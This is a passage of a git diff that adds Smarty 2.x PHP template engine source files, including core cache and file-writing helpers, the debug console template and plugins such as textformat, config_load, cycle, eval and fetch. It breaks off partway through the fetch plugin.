+            if(!@is_dir($smarty->cache_dir)) {
+                $smarty->trigger_error('the $cache_dir \'' . $smarty->cache_dir . '\' does not exist, or is not a directory.', E_USER_ERROR);
+                return false;
+            }
+            $smarty->trigger_error('unable to write to $cache_dir \'' . realpath($smarty->cache_dir) . '\'. Be sure $cache_dir is writable by the web server user.', E_USER_ERROR);
+            return false;
+        }
+
+        $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']);
+        $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id);
+        $_params = array('filename' => $_cache_file, 'contents' => $params['results'], 'create_dirs' => true);
+        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_file.php');
+        smarty_core_write_file($_params, $smarty);
+        return true;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.write_compiled_include.php b/google/smarty/core/core.write_compiled_include.php
new file mode 100755 (executable)
index 0000000..9c6a491
--- /dev/null
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Extract non-cacheable parts out of compiled template and write it
+ *
+ * @param string $compile_path
+ * @param string $template_compiled
+ * @param integer $template_timestamp
+ * @return boolean
+ */
+
+function smarty_core_write_compiled_include($params, &$smarty)
+{
+    $_tag_start = 'if \(\$this->caching\) \{ echo \'\{nocache\:('.$params['cache_serial'].')#(\d+)\}\';\}';
+    $_tag_end   = 'if \(\$this->caching\) \{ echo \'\{/nocache\:(\\2)#(\\3)\}\';\}';
+
+    preg_match_all('!('.$_tag_start.'(.*)'.$_tag_end.')!Us',
+                   $params['compiled_content'], $_match_source, PREG_SET_ORDER);
+
+    // no nocache-parts found: done
+    if (count($_match_source)==0) return;
+
+    // convert the matched php-code to functions
+    $_include_compiled = "<?php /* funky header here */\n\n";
+
+    $_compile_path = $params['include_file_path'];
+
+    $smarty->_cache_serials[$_compile_path] = $params['cache_serial'];
+    $_include_compiled .= "\$this->_cache_serials['".$_compile_path."'] = '".$params['cache_serial']."';\n\n?>";
+
+    $_include_compiled .= $params['plugins_code'];
+    $_include_compiled .= "<?php";
+    for ($_i = 0, $_for_max = count($_match_source); $_i < $_for_max; $_i++) {
+        $_match =& $_match_source[$_i];
+        $_include_compiled .= "
+function _smarty_tplfunc_$_match[2]_$_match[3](&\$this)
+{
+$_match[4]
+}
+
+";
+    }
+    $_include_compiled .= "\n\n?>\n";
+
+    $_params = array('filename' => $_compile_path,
+                     'contents' => $_include_compiled, 'create_dirs' => true);
+
+    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_file.php');
+    smarty_core_write_file($_params, $smarty);
+    return true;
+}
+
+
+?>
diff --git a/google/smarty/core/core.write_compiled_resource.php b/google/smarty/core/core.write_compiled_resource.php
new file mode 100755 (executable)
index 0000000..c701448
--- /dev/null
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * write the compiled resource
+ *
+ * @param string $compile_path
+ * @param string $compiled_content
+ * @param integer $resource_timestamp
+ * @return true
+ */
+function smarty_core_write_compiled_resource($params, &$smarty)
+{
+    if(!@is_writable($smarty->compile_dir)) {
+        // compile_dir not writable, see if it exists
+        if(!@is_dir($smarty->compile_dir)) {
+            $smarty->trigger_error('the $compile_dir \'' . $smarty->compile_dir . '\' does not exist, or is not a directory.', E_USER_ERROR);
+            return false;
+        }
+        $smarty->trigger_error('unable to write to $compile_dir \'' . realpath($smarty->compile_dir) . '\'. Be sure $compile_dir is writable by the web server user.', E_USER_ERROR);
+        return false;
+    }
+
+    $_params = array('filename' => $params['compile_path'], 'timestamp'=>$params['resource_timestamp'], 'contents' => $params['compiled_content'], 'create_dirs' => true);
+    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_file.php');
+    smarty_core_write_file($_params, $smarty);
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.write_file.php b/google/smarty/core/core.write_file.php
new file mode 100755 (executable)
index 0000000..b4fa92e
--- /dev/null
@@ -0,0 +1,51 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * write out a file to disk
+ *
+ * @param string $filename
+ * @param string $contents
+ * @param boolean $create_dirs
+ * @return boolean
+ */
+function smarty_core_write_file($params, &$smarty)
+{
+    $_dirname = dirname($params['filename']);
+
+    if ($params['create_dirs']) {
+        $_params = array('dir' => $_dirname);
+        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.create_dir_structure.php');
+        smarty_core_create_dir_structure($_params, $smarty);
+    }
+
+    // write to tmp file, then rename it to avoid
+    // file locking race condition
+    $_tmp_file = $_dirname . DIRECTORY_SEPARATOR . uniqid('');
+
+    if (!($fd = @fopen($_tmp_file, 'w'))) {
+        $smarty->trigger_error("problem writing temporary file '$_tmp_file'");
+        return false;
+    }
+
+    fwrite($fd, $params['contents']);
+    if (isset($params['timestamp'])) {
+       touch($_tmp_file, $params['timestamp']);
+    }
+    fclose($fd);
+    if(file_exists($params['filename'])) {
+        @unlink($params['filename']);
+    }
+    @rename($_tmp_file, $params['filename']);
+    @chmod($params['filename'], $smarty->_file_perms);
+
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/debug.tpl b/google/smarty/debug.tpl
new file mode 100755 (executable)
index 0000000..01265fb
--- /dev/null
@@ -0,0 +1,64 @@
+{* Smarty *}
+
+{* debug.tpl, last updated version 2.0.1 *}
+
+{assign_debug_info}
+
+{if isset($_smarty_debug_output) and $_smarty_debug_output eq "html"}
+       <table border=0 width=100%>
+       <tr bgcolor=#cccccc><th colspan=2>Smarty Debug Console</th></tr>
+       <tr bgcolor=#cccccc><td colspan=2><b>included templates & config files (load time in seconds):</b></td></tr>
+       {section name=templates loop=$_debug_tpls}
+               <tr bgcolor={if %templates.index% is even}#eeeeee{else}#fafafa{/if}><td colspan=2><tt>{section name=indent loop=$_debug_tpls[templates].depth}&nbsp;&nbsp;&nbsp;{/section}<font color={if $_debug_tpls[templates].type eq "template"}brown{elseif $_debug_tpls[templates].type eq "insert"}black{else}green{/if}>{$_debug_tpls[templates].filename|escape:html}</font>{if isset($_debug_tpls[templates].exec_time)} <font size=-1><i>({$_debug_tpls[templates].exec_time|string_format:"%.5f"}){if %templates.index% eq 0} (total){/if}</i></font>{/if}</tt></td></tr>
+       {sectionelse}
+               <tr bgcolor=#eeeeee><td colspan=2><tt><i>no templates included</i></tt></td></tr>       
+       {/section}
+       <tr bgcolor=#cccccc><td colspan=2><b>assigned template variables:</b></td></tr>
+       {section name=vars loop=$_debug_keys}
+               <tr bgcolor={if %vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=blue>{ldelim}${$_debug_keys[vars]}{rdelim}</font></tt></td><td nowrap><tt><font color=green>{$_debug_vals[vars]|@debug_print_var}</font></tt></td></tr>
+       {sectionelse}
+               <tr bgcolor=#eeeeee><td colspan=2><tt><i>no template variables assigned</i></tt></td></tr>      
+       {/section}
+       <tr bgcolor=#cccccc><td colspan=2><b>assigned config file variables (outer template scope):</b></td></tr>
+       {section name=config_vars loop=$_debug_config_keys}
+               <tr bgcolor={if %config_vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=maroon>{ldelim}#{$_debug_config_keys[config_vars]}#{rdelim}</font></tt></td><td><tt><font color=green>{$_debug_config_vals[config_vars]|@debug_print_var}</font></tt></td></tr>
+       {sectionelse}
+               <tr bgcolor=#eeeeee><td colspan=2><tt><i>no config vars assigned</i></tt></td></tr>     
+       {/section}
+       </table>
+</BODY></HTML>
+{else}
+<SCRIPT language=javascript>
+       if( self.name == '' ) {ldelim}
+          var title = 'Console';
+       {rdelim}
+       else {ldelim}
+          var title = 'Console_' + self.name;
+       {rdelim}
+       _smarty_console = window.open("",title.value,"width=680,height=600,resizable,scrollbars=yes");
+       _smarty_console.document.write("<HTML><TITLE>Smarty Debug Console_"+self.name+"</TITLE><BODY bgcolor=#ffffff>");
+       _smarty_console.document.write("<table border=0 width=100%>");
+       _smarty_console.document.write("<tr bgcolor=#cccccc><th colspan=2>Smarty Debug Console</th></tr>");
+       _smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>included templates & config files (load time in seconds):</b></td></tr>");
+       {section name=templates loop=$_debug_tpls}
+               _smarty_console.document.write("<tr bgcolor={if %templates.index% is even}#eeeeee{else}#fafafa{/if}><td colspan=2><tt>{section name=indent loop=$_debug_tpls[templates].depth}&nbsp;&nbsp;&nbsp;{/section}<font color={if $_debug_tpls[templates].type eq "template"}brown{elseif $_debug_tpls[templates].type eq "insert"}black{else}green{/if}>{$_debug_tpls[templates].filename|escape:html|escape:javascript}</font>{if isset($_debug_tpls[templates].exec_time)} <font size=-1><i>({$_debug_tpls[templates].exec_time|string_format:"%.5f"}){if %templates.index% eq 0} (total){/if}</i></font>{/if}</tt></td></tr>");
+       {sectionelse}
+               _smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no templates included</i></tt></td></tr>");    
+       {/section}
+       _smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>assigned template variables:</b></td></tr>");
+       {section name=vars loop=$_debug_keys}
+               _smarty_console.document.write("<tr bgcolor={if %vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=blue>{ldelim}${$_debug_keys[vars]}{rdelim}</font></tt></td><td nowrap><tt><font color=green>{$_debug_vals[vars]|@debug_print_var|escape:javascript}</font></tt></td></tr>");
+       {sectionelse}
+               _smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no template variables assigned</i></tt></td></tr>");   
+       {/section}
+       _smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>assigned config file variables (outer template scope):</b></td></tr>");
+       {section name=config_vars loop=$_debug_config_keys}
+               _smarty_console.document.write("<tr bgcolor={if %config_vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=maroon>{ldelim}#{$_debug_config_keys[config_vars]}#{rdelim}</font></tt></td><td><tt><font color=green>{$_debug_config_vals[config_vars]|@debug_print_var|escape:javascript}</font></tt></td></tr>");
+       {sectionelse}
+               _smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no config vars assigned</i></tt></td></tr>");  
+       {/section}
+       _smarty_console.document.write("</table>");
+       _smarty_console.document.write("</BODY></HTML>");
+       _smarty_console.document.close();
+</SCRIPT>
+{/if}
diff --git a/google/smarty/plugins/block.textformat.php b/google/smarty/plugins/block.textformat.php
new file mode 100755 (executable)
index 0000000..760b313
--- /dev/null
@@ -0,0 +1,105 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {textformat}{/textformat} block plugin
+ *
+ * Type:     block function<br>
+ * Name:     textformat<br>
+ * Purpose:  format text a certain way with preset styles
+ *           or custom wrap/indent settings<br>
+ * @link http://smarty.php.net/manual/en/language.function.textformat.php {textformat}
+ *       (Smarty online manual)
+ * @param array
+ * <pre>
+ * Params:   style: string (email)
+ *           indent: integer (0)
+ *           wrap: integer (80)
+ *           wrap_char string ("\n")
+ *           indent_char: string (" ")
+ *           wrap_boundary: boolean (true)
+ * </pre>
+ * @param string contents of the block
+ * @param Smarty clever simulation of a method
+ * @return string string $content re-formatted
+ */
+function smarty_block_textformat($params, $content, &$smarty)
+{
+    if (is_null($content)) {
+        return;
+    }
+
+    $style = null;
+    $indent = 0;
+    $indent_first = 0;
+    $indent_char = ' ';
+    $wrap = 80;
+    $wrap_char = "\n";
+    $wrap_cut = false;
+    $assign = null;
+    
+    foreach ($params as $_key => $_val) {
+        switch ($_key) {
+            case 'style':
+            case 'indent_char':
+            case 'wrap_char':
+            case 'assign':
+                $$_key = (string)$_val;
+                break;
+
+            case 'indent':
+            case 'indent_first':
+            case 'wrap':
+                $$_key = (int)$_val;
+                break;
+
+            case 'wrap_cut':
+                $$_key = (bool)$_val;
+                break;
+
+            default:
+                $smarty->trigger_error("textformat: unknown attribute '$_key'");
+        }
+    }
+
+    if ($style == 'email') {
+        $wrap = 72;
+    }
+
+    // split into paragraphs
+    $paragraphs = preg_split('![\r\n][\r\n]!',$content);
+    $output = '';
+
+    foreach ($paragraphs as $paragraph) {
+        if ($paragraph == '') {
+            continue;
+        }
+        // convert mult. spaces & special chars to single space
+        $paragraph = preg_replace(array('!\s+!','!(^\s+)|(\s+$)!'),array(' ',''),$paragraph);
+        // indent first line
+        if($indent_first > 0) {
+            $paragraph = str_repeat($indent_char,$indent_first) . $paragraph;
+        }
+        // wordwrap sentences
+        $paragraph = wordwrap($paragraph, $wrap - $indent, $wrap_char, $wrap_cut);
+        // indent lines
+        if($indent > 0) {
+            $paragraph = preg_replace('!^!m',str_repeat($indent_char,$indent),$paragraph);
+        }
+        $output .= $paragraph . $wrap_char . $wrap_char;
+    }
+
+    if ($assign) {
+        $smarty->assign($assign,$output);
+    } else {
+        return $output;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/compiler.assign.php b/google/smarty/plugins/compiler.assign.php
new file mode 100755 (executable)
index 0000000..506083c
--- /dev/null
@@ -0,0 +1,33 @@
+<?php
+
+/**
+ * Smarty {assign} compiler function plugin
+ *
+ * Type:     compiler function<br>
+ * Name:     assign<br>
+ * Purpose:  assign a value to a template variable
+ * @link http://smarty.php.net/manual/en/language.custom.functions.php#LANGUAGE.FUNCTION.ASSIGN {assign}
+ *       (Smarty online manual)
+ * @param string containing var-attribute and value-attribute
+ * @param Smarty_Compiler
+ */
+function smarty_compiler_assign($tag_attrs, &$compiler)
+{
+    $_params = $compiler->_parse_attrs($tag_attrs);
+
+    if (!isset($_params['var'])) {
+        $compiler->_syntax_error("assign: missing 'var' parameter", E_USER_WARNING);
+        return;
+    }
+
+    if (!isset($_params['value'])) {
+        $compiler->_syntax_error("assign: missing 'value' parameter", E_USER_WARNING);
+        return;
+    }
+
+    return "\$this->assign({$_params['var']}, {$_params['value']});";
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.assign_debug_info.php b/google/smarty/plugins/function.assign_debug_info.php
new file mode 100755 (executable)
index 0000000..c281ce8
--- /dev/null
@@ -0,0 +1,39 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {assign_debug_info} function plugin
+ *
+ * Type:     function<br>
+ * Name:     assign_debug_info<br>
+ * Purpose:  assign debug info to the template<br>
+ * @param array unused in this plugin, this plugin uses {@link Smarty::$_config},
+ *              {@link Smarty::$_tpl_vars} and {@link Smarty::$_smarty_debug_info}
+ * @param Smarty
+ */
+function smarty_function_assign_debug_info($params, &$smarty)
+{
+    $assigned_vars = $smarty->_tpl_vars;
+    ksort($assigned_vars);
+    if (@is_array($smarty->_config[0])) {
+        $config_vars = $smarty->_config[0];
+        ksort($config_vars);
+        $smarty->assign("_debug_config_keys", array_keys($config_vars));
+        $smarty->assign("_debug_config_vals", array_values($config_vars));
+    }   
+    
+    $included_templates = $smarty->_smarty_debug_info;
+    
+    $smarty->assign("_debug_keys", array_keys($assigned_vars));
+    $smarty->assign("_debug_vals", array_values($assigned_vars));
+    
+    $smarty->assign("_debug_tpls", $included_templates);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.config_load.php b/google/smarty/plugins/function.config_load.php
new file mode 100755 (executable)
index 0000000..f0b8edd
--- /dev/null
@@ -0,0 +1,126 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {config_load} function plugin
+ *
+ * Type:     function<br>
+ * Name:     config_load<br>
+ * Purpose:  load config file vars
+ * @link http://smarty.php.net/manual/en/language.function.config.load.php {config_load}
+ *       (Smarty online manual)
+ * @param array Format:
+ * <pre>
+ * array('file' => required config file name,
+ *       'section' => optional config file section to load
+ *       'scope' => local/parent/global
+ *       'global' => overrides scope, setting to parent if true)
+ * </pre>
+ * @param Smarty
+ */
+function smarty_function_config_load($params, &$smarty)
+{
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $_debug_start_time = smarty_core_get_microtime($_params, $smarty);
+        }
+
+        $_file = isset($params['file']) ? $smarty->_dequote($params['file']) : null;
+        $_section = isset($params['section']) ? $smarty->_dequote($params['section']) : null;
+        $_scope = isset($params['scope']) ? $smarty->_dequote($params['scope']) : 'global';
+        $_global = isset($params['global']) ? $smarty->_dequote($params['global']) : false;
+
+        if (!isset($_file) || strlen($_file) == 0) {
+            $smarty->trigger_error("missing 'file' attribute in config_load tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        if (isset($_scope)) {
+            if ($_scope != 'local' &&
+                $_scope != 'parent' &&
+                $_scope != 'global') {
+                $smarty->trigger_error("invalid 'scope' attribute value", E_USER_ERROR, __FILE__, __LINE__);
+            }
+        } else {
+            if ($_global) {
+                $_scope = 'parent';
+            } else {
+                $_scope = 'local';
+            }
+        }
+
+        $_params = array('resource_name' => $_file, 'resource_base_path' => $smarty->config_dir);
+        $smarty->_parse_resource_name($_params);
+        $_file_path = $_params['resource_type'] . ':' . $_params['resource_name'];
+        if (isset($_section))
+            $_compile_file = $smarty->_get_compile_path($_file_path.'|'.$_section);
+        else
+            $_compile_file = $smarty->_get_compile_path($_file_path);
+
+        if($smarty->force_compile
+                || !file_exists($_compile_file)
+                || ($smarty->compile_check
+                    && !$smarty->_is_compiled($_file_path, $_compile_file))) {
+            // compile config file
+            if(!is_object($smarty->_conf_obj)) {
+                require_once SMARTY_DIR . $smarty->config_class . '.class.php';
+                $smarty->_conf_obj = new $smarty->config_class();
+                $smarty->_conf_obj->overwrite = $smarty->config_overwrite;
+                $smarty->_conf_obj->booleanize = $smarty->config_booleanize;
+                $smarty->_conf_obj->read_hidden = $smarty->config_read_hidden;
+                $smarty->_conf_obj->fix_newlines = $smarty->config_fix_newlines;
+            }
+            $_params = array('resource_name' => $_file, 'resource_base_path' => $smarty->config_dir);
+            if (!$smarty->_fetch_resource_info($_params)) {
+                return;
+            }
+            $smarty->_conf_obj->set_file_contents($_file, $_params['source_content']);
+            $_config_vars = array_merge($smarty->_conf_obj->get($_file),
+                    $smarty->_conf_obj->get($_file, $_section));
+            if(function_exists('var_export')) {
+                $_output = '<?php $_config_vars = ' . var_export($_config_vars, true) . '; ?>';
+            } else {
+                $_output = '<?php $_config_vars = unserialize(\'' . strtr(serialize($_config_vars),array('\''=>'\\\'', '\\'=>'\\\\')) . '\'); ?>';
+            }
+            $_params = (array('compile_path' => $_compile_file, 'compiled_content' => $_output, 'resource_timestamp' => $_params['resource_timestamp']));
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_compiled_resource.php');
+            smarty_core_write_compiled_resource($_params, $smarty);
+        } else {
+            include($_compile_file);
+        }
+
+        if ($smarty->caching) {
+            $smarty->_cache_info['config'][$_file] = true;
+        }
+
+        $smarty->_config[0]['vars'] = @array_merge($smarty->_config[0]['vars'], $_config_vars);
+        $smarty->_config[0]['files'][$_file] = true;
+
+        if ($_scope == 'parent') {
+                $smarty->_config[1]['vars'] = @array_merge($smarty->_config[1]['vars'], $_config_vars);
+                $smarty->_config[1]['files'][$_file] = true;
+        } else if ($_scope == 'global') {
+            for ($i = 1, $for_max = count($smarty->_config); $i < $for_max; $i++) {
+                $smarty->_config[$i]['vars'] = @array_merge($smarty->_config[$i]['vars'], $_config_vars);
+                $smarty->_config[$i]['files'][$_file] = true;
+            }
+        }
+
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $smarty->_smarty_debug_info[] = array('type'      => 'config',
+                                                'filename'  => $_file.' ['.$_section.'] '.$_scope,
+                                                'depth'     => $smarty->_inclusion_depth,
+                                                'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time);
+        }
+
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.counter.php b/google/smarty/plugins/function.counter.php
new file mode 100755 (executable)
index 0000000..cfe5dd8
--- /dev/null
@@ -0,0 +1,79 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {counter} function plugin
+ *
+ * Type:     function<br>
+ * Name:     counter<br>
+ * Purpose:  print out a counter value
+ * @link http://smarty.php.net/manual/en/language.function.counter.php {counter}
+ *       (Smarty online manual)
+ * @param array parameters
+ * @param Smarty
+ * @return string|null
+ */
+function smarty_function_counter($params, &$smarty)
+{
+    static $counters = array();
+
+    $name = (isset($params['name'])) ? $params['name'] : 'default';
+    if (!isset($counters[$name])) {
+        $counters[$name] = array(
+            'start'=>1,
+            'skip'=>1,
+            'direction'=>'up',
+            'count'=>1
+            );
+    }
+    $counter =& $counters[$name];
+
+    if (isset($params['start'])) {
+        $counter['start'] = $counter['count'] = (int)$params['start'];
+    }
+
+    if (!empty($params['assign'])) {
+        $counter['assign'] = $params['assign'];
+    }
+
+    if (isset($counter['assign'])) {
+        $smarty->assign($counter['assign'], $counter['count']);
+    }
+    
+    if (isset($params['print'])) {
+        $print = (bool)$params['print'];
+    } else {
+        $print = empty($counter['assign']);
+    }
+
+    if ($print) {
+        $retval = $counter['count'];
+    } else {
+        $retval = null;
+    }
+
+    if (isset($params['skip'])) {
+        $counter['skip'] = $params['skip'];
+    }
+    
+    if (isset($params['direction'])) {
+        $counter['direction'] = $params['direction'];
+    }
+
+    if ($counter['direction'] == "down")
+        $counter['count'] -= $counter['skip'];
+    else
+        $counter['count'] += $counter['skip'];
+    
+    return $retval;
+    
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.cycle.php b/google/smarty/plugins/function.cycle.php
new file mode 100755 (executable)
index 0000000..1f4ec9e
--- /dev/null
@@ -0,0 +1,102 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {cycle} function plugin
+ *
+ * Type:     function<br>
+ * Name:     cycle<br>
+ * Date:     May 3, 2002<br>
+ * Purpose:  cycle through given values<br>
+ * Input:
+ *         - name = name of cycle (optional)
+ *         - values = comma separated list of values to cycle,
+ *                    or an array of values to cycle
+ *                    (this can be left out for subsequent calls)
+ *         - reset = boolean - resets given var to true
+ *         - print = boolean - print var or not. default is true
+ *         - advance = boolean - whether or not to advance the cycle
+ *         - delimiter = the value delimiter, default is ","
+ *         - assign = boolean, assigns to template var instead of
+ *                    printed.
+ * 
+ * Examples:<br>
+ * <pre>
+ * {cycle values="#eeeeee,#d0d0d0d"}
+ * {cycle name=row values="one,two,three" reset=true}
+ * {cycle name=row}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.cycle.php {cycle}
+ *       (Smarty online manual)
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author credit to Mark Priatel <mpriatel@rogers.com>
+ * @author credit to Gerard <gerard@interfold.com>
+ * @author credit to Jason Sweat <jsweat_php@yahoo.com>
+ * @version  1.3
+ * @param array
+ * @param Smarty
+ * @return string|null
+ */
+function smarty_function_cycle($params, &$smarty)
+{
+    static $cycle_vars;
+    
+    $name = (empty($params['name'])) ? 'default' : $params['name'];
+    $print = (isset($params['print'])) ? (bool)$params['print'] : true;
+    $advance = (isset($params['advance'])) ? (bool)$params['advance'] : true;
+    $reset = (isset($params['reset'])) ? (bool)$params['reset'] : false;
+            
+    if (!in_array('values', array_keys($params))) {
+        if(!isset($cycle_vars[$name]['values'])) {
+            $smarty->trigger_error("cycle: missing 'values' parameter");
+            return;
+        }
+    } else {
+        if(isset($cycle_vars[$name]['values'])
+            && $cycle_vars[$name]['values'] != $params['values'] ) {
+            $cycle_vars[$name]['index'] = 0;
+        }
+        $cycle_vars[$name]['values'] = $params['values'];
+    }
+
+    $cycle_vars[$name]['delimiter'] = (isset($params['delimiter'])) ? $params['delimiter'] : ',';
+    
+    if(is_array($cycle_vars[$name]['values'])) {
+        $cycle_array = $cycle_vars[$name]['values'];    
+    } else {
+        $cycle_array = explode($cycle_vars[$name]['delimiter'],$cycle_vars[$name]['values']);
+    }
+    
+    if(!isset($cycle_vars[$name]['index']) || $reset ) {
+        $cycle_vars[$name]['index'] = 0;
+    }
+    
+    if (isset($params['assign'])) {
+        $print = false;
+        $smarty->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]);
+    }
+        
+    if($print) {
+        $retval = $cycle_array[$cycle_vars[$name]['index']];
+    } else {
+        $retval = null;
+    }
+
+    if($advance) {
+        if ( $cycle_vars[$name]['index'] >= count($cycle_array) -1 ) {
+            $cycle_vars[$name]['index'] = 0;            
+        } else {
+            $cycle_vars[$name]['index']++;
+        }
+    }
+    
+    return $retval;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.debug.php b/google/smarty/plugins/function.debug.php
new file mode 100755 (executable)
index 0000000..2452d62
--- /dev/null
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {debug} function plugin
+ *
+ * Type:     function<br>
+ * Name:     debug<br>
+ * Date:     July 1, 2002<br>
+ * Purpose:  popup debug window
+ * @link http://smarty.php.net/manual/en/language.function.debug.php {debug}
+ *       (Smarty online manual)
+ * @author   Monte Ohrt <monte@ispi.net>
+ * @version  1.0
+ * @param array
+ * @param Smarty
+ * @return string output from {@link Smarty::_generate_debug_output()}
+ */
+function smarty_function_debug($params, &$smarty)
+{
+    if($params['output']) {
+        $smarty->assign('_smarty_debug_output',$params['output']);
+    }
+    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.display_debug_console.php');
+    return smarty_core_display_debug_console(null, $smarty);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.eval.php b/google/smarty/plugins/function.eval.php
new file mode 100755 (executable)
index 0000000..3a4b8b2
--- /dev/null
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {eval} function plugin
+ *
+ * Type:     function<br>
+ * Name:     eval<br>
+ * Purpose:  evaluate a template variable as a template<br>
+ * @link http://smarty.php.net/manual/en/language.function.eval.php {eval}
+ *       (Smarty online manual)
+ * @param array
+ * @param Smarty
+ */
+function smarty_function_eval($params, &$smarty)
+{
+
+    if (!isset($params['var'])) {
+        $smarty->trigger_error("eval: missing 'var' parameter");
+        return;
+    }
+
+    if($params['var'] == '') {
+        return;
+    }
+
+    $smarty->_compile_source('evaluated template', $params['var'], $_var_compiled);
+
+    ob_start();
+    $smarty->_eval('?>' . $_var_compiled);
+    $_contents = ob_get_contents();
+    ob_end_clean();
+
+    if (!empty($params['assign'])) {
+        $smarty->assign($params['assign'], $_contents);
+    } else {
+        return $_contents;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.fetch.php b/google/smarty/plugins/function.fetch.php
new file mode 100755 (executable)
index 0000000..a3273a1
--- /dev/null
@@ -0,0 +1,217 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {fetch} plugin
+ *
+ * Type:     function<br>
+ * Name:     fetch<br>
+ * Purpose:  fetch file, web or ftp data and display results
+ * @link http://smarty.php.net/manual/en/language.function.fetch.php {fetch}
+ *       (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string|null if the assign parameter is passed, Smarty assigns the
+ *                     result to a template variable
+ */
+function smarty_function_fetch($params, &$smarty)
+{
+    if (empty($params['file'])) {
+        $smarty->_trigger_fatal_error("[plugin] parameter 'file' cannot be empty");
+        return;
+    }
+
+    if ($smarty->security && !preg_match('!^(http|ftp)://!i', $params['file'])) {
+        $_params = array('resource_type' => 'file', 'resource_name' => $params['file']);
+        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_secure.php');
+        if(!smarty_core_is_secure($_params, $smarty)) {
+            $smarty->_trigger_fatal_error('[plugin] (secure mode) fetch \'' . $params['file'] . '\' is not allowed');
+            return;
+        }
+        
+        // fetch the file
+        if($fp = @fopen($params['file'],'r')) {
+            while(!feof($fp)) {
+                $content .= fgets ($fp,4096);
+            }
+            fclose($fp);
+        } else {
+            $smarty->_trigger_fatal_error('[plugin] fetch cannot read file \'' . $params['file'] . '\'');
+            return;
+        }
+    } else {
+        // not a local file
+        if(preg_match('!^http://!i',$params['file'])) {
+            // http fetch
+            if($uri_parts = parse_url($params['file'])) {
+                // set defaults
+                $host = $server_name = $uri_parts['host'];
+                $timeout = 30;
+                $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
+                $agent = "Smarty Template Engine ".$smarty->_version;
+                $referer = "";
+                $uri = !empty($uri_parts['path']) ? $uri_parts['path'] : '/';
+                $uri .= !empty($uri_parts['query']) ? '?' . $uri_parts['query'] : '';
+                $_is_proxy = false;
+                if(empty($uri_parts['port'])) {
+                    $port = 80;
+                } else {
+                    $port = $uri_parts['port'];
+                }
+                if(empty($uri_parts['user'])) {
+                    $user = '';
+                }
+                // loop through parameters, setup headers
+                foreach($params as $param_key => $param_value) {
+                    switch($param_key) {
+                        case "file":
+                        case "assign":
+                        case "assign_headers":
+                            break;
+                        case "user":
